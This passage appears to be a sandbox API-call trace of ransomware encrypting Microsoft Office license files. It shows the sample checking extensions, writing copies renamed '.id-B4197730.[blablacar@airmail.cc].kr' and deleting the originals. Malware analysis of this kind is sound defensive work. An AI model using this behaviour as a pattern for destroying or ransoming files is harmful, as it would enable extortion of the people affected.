DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms")) returned 1 [0215.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.817] lstrlenW (lpString=".doc") returned 4 [0215.817] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.817] lstrlenW (lpString=".docx") returned 5 [0215.817] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.817] lstrlenW (lpString=".pdf") returned 4 [0215.817] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.817] lstrlenW (lpString=".xls") returned 4 [0215.817] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.817] lstrlenW (lpString=".xlsx") returned 5 [0215.817] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.817] lstrlenW (lpString=".ppt") returned 4 [0215.817] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.817] lstrlenW (lpString=".zip") returned 4 [0215.817] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.817] lstrlenW (lpString=".rar") returned 4 [0215.817] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.817] lstrlenW (lpString=".bz2") returned 4 [0215.817] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.817] lstrlenW (lpString=".7z") returned 3 [0215.817] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.817] lstrlenW (lpString=".dbf") returned 4 [0215.818] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.818] lstrlenW (lpString=".1cd") returned 4 [0215.818] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.818] lstrlenW (lpString=".jpg") returned 4 [0215.818] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.818] lstrlenW (lpString=".doc") returned 4 [0215.818] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString=".docx") returned 5 [0215.818] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0215.818] lstrlenW (lpString=".pdf") returned 4 [0215.818] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString=".xls") returned 4 [0215.818] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString=".xlsx") returned 5 [0215.818] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0215.818] lstrlenW (lpString=".ppt") returned 4 [0215.818] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.818] lstrlenW (lpString=".zip") returned 4 [0215.818] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString=".rar") returned 4 [0215.818] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString=".bz2") returned 4 [0215.818] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0215.818] lstrlenW (lpString=".7z") returned 3 [0215.818] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0215.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.818] lstrlenW (lpString=".dbf") returned 4 [0215.819] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0215.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.819] lstrlenW (lpString=".1cd") returned 4 [0215.819] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0215.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms") returned 78 [0215.819] lstrlenW (lpString=".jpg") returned 4 [0215.985] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0215.995] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0215.995] lstrlenW (lpString="ProjectProR_Trial-pl.xrm-ms") returned 27 [0215.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.023] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11159) returned 1 [0216.023] CloseHandle (hObject=0x478) returned 1 [0216.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms")) returned 0x220 [0216.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.023] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.023] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.024] GetLastError () returned 0x0 [0216.024] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2b97, lpOverlapped=0x0) returned 1 [0216.027] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0216.028] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.028] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x10a, lpOverlapped=0x0) returned 1 [0216.028] SetEndOfFile (hFile=0x3bc) returned 1 [0216.028] CloseHandle (hObject=0x3bc) returned 1 [0216.028] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.028] SetEndOfFile (hFile=0x478) returned 1 [0216.030] CloseHandle (hObject=0x478) returned 1 [0216.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_trial-pl.xrm-ms")) returned 1 [0216.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.032] lstrlenW (lpString=".doc") returned 4 [0216.032] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString=".docx") returned 5 [0216.032] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.032] lstrlenW (lpString=".pdf") returned 4 [0216.032] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString=".xls") returned 4 [0216.032] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString=".xlsx") returned 5 [0216.032] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.032] lstrlenW (lpString=".ppt") returned 4 [0216.032] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.032] lstrlenW (lpString=".zip") returned 4 [0216.032] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString=".rar") returned 4 [0216.032] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString=".bz2") returned 4 [0216.032] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString=".7z") returned 3 [0216.032] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.032] lstrlenW (lpString=".dbf") returned 4 [0216.032] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.032] lstrlenW (lpString=".1cd") returned 4 [0216.032] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.032] lstrlenW (lpString=".jpg") returned 4 [0216.032] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.033] lstrlenW (lpString=".doc") returned 4 [0216.033] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString=".docx") returned 5 [0216.033] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.033] lstrlenW (lpString=".pdf") returned 4 [0216.033] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString=".xls") returned 4 [0216.033] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString=".xlsx") returned 5 [0216.033] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.033] lstrlenW (lpString=".ppt") returned 4 [0216.033] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.033] lstrlenW (lpString=".zip") returned 4 [0216.033] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString=".rar") returned 4 [0216.033] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString=".bz2") returned 4 [0216.033] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString=".7z") returned 3 [0216.033] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.033] lstrlenW (lpString=".dbf") returned 4 [0216.033] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.033] lstrlenW (lpString=".1cd") returned 4 [0216.033] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Trial-pl.xrm-ms") returned 77 [0216.033] lstrlenW (lpString=".jpg") returned 4 [0216.033] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.034] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.034] lstrlenW (lpString="ProjectProVL_KMS_Client-ppd.xrm-ms") returned 34 [0216.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.034] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6866) returned 1 [0216.034] CloseHandle (hObject=0x478) returned 1 [0216.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms")) returned 0x220 [0216.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.035] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.035] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.036] GetLastError () returned 0x0 [0216.036] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x1ad2, lpOverlapped=0x0) returned 1 [0216.038] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x1ae0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x1ae0, lpOverlapped=0x0) returned 1 [0216.039] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.040] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x118, lpOverlapped=0x0) returned 1 [0216.040] SetEndOfFile (hFile=0x3bc) returned 1 [0216.040] CloseHandle (hObject=0x3bc) returned 1 [0216.040] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.040] SetEndOfFile (hFile=0x478) returned 1 [0216.044] CloseHandle (hObject=0x478) returned 1 [0216.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ppd.xrm-ms")) returned 1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.045] lstrlenW (lpString=".doc") returned 4 [0216.045] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString=".docx") returned 5 [0216.045] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.045] lstrlenW (lpString=".pdf") returned 4 [0216.045] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString=".xls") returned 4 [0216.045] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString=".xlsx") returned 5 [0216.045] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.045] lstrlenW (lpString=".ppt") returned 4 [0216.045] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.045] lstrlenW (lpString=".zip") returned 4 [0216.045] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString=".rar") returned 4 [0216.045] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString=".bz2") returned 4 [0216.045] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString=".7z") returned 3 [0216.045] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.045] lstrlenW (lpString=".dbf") returned 4 [0216.045] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.045] lstrlenW (lpString=".1cd") returned 4 [0216.046] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.046] lstrlenW (lpString=".jpg") returned 4 [0216.046] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.046] lstrlenW (lpString=".doc") returned 4 [0216.046] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString=".docx") returned 5 [0216.046] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.046] lstrlenW (lpString=".pdf") returned 4 [0216.046] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString=".xls") returned 4 [0216.046] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString=".xlsx") returned 5 [0216.046] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.046] lstrlenW (lpString=".ppt") returned 4 [0216.046] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.046] lstrlenW (lpString=".zip") returned 4 [0216.046] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString=".rar") returned 4 [0216.046] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString=".bz2") returned 4 [0216.046] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString=".7z") returned 3 [0216.046] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.046] lstrlenW (lpString=".dbf") returned 4 [0216.046] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.046] lstrlenW (lpString=".1cd") returned 4 [0216.046] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ppd.xrm-ms") returned 84 [0216.047] lstrlenW (lpString=".jpg") returned 4 [0216.047] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.047] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.047] lstrlenW (lpString="ProjectProVL_KMS_Client-ul-oob.xrm-ms") returned 37 [0216.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.047] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11634) returned 1 [0216.047] CloseHandle (hObject=0x478) returned 1 [0216.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0216.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0216.048] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.048] SetFilePointerEx (in: hFile=0x478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0216.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_kms_client-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0216.049] GetLastError () returned 0x0 [0216.049] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d72, lpOverlapped=0x0) returned 1 [0216.051] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0216.052] ReadFile (in: hFile=0x478, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0216.052] WriteFile (in: hFile=0x3bc, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0216.052] SetEndOfFile (hFile=0x3bc) returned 1 [0216.052] CloseHandle (hObject=0x3bc) returned 1 [0216.052] SetFilePointerEx (in: hFile=0x478, 